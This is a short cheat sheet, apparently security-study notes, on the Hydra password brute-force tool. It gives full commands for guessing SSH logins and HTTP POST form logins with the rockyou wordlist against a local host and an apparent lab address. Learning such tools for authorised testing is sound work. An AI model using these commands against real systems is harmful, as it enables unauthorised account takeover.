Hydra is a network authentication brute-force tool.
- Run
hydrawith no options to see supported services. - Run
hydra <service> -Uto see service attack options.
SSH example:
hydra -l kali -P /usr/share/wordlists/rockyou.txt ssh://127.0.0.1HTTP POST example:
hydra 10.11.0.22 http-form-post "/form/frontpage.php:user=admin&pass=^PASS^:INVALID LOGIN" -l admin -P /usr/share/wordlists/rockyou.txt -vV -f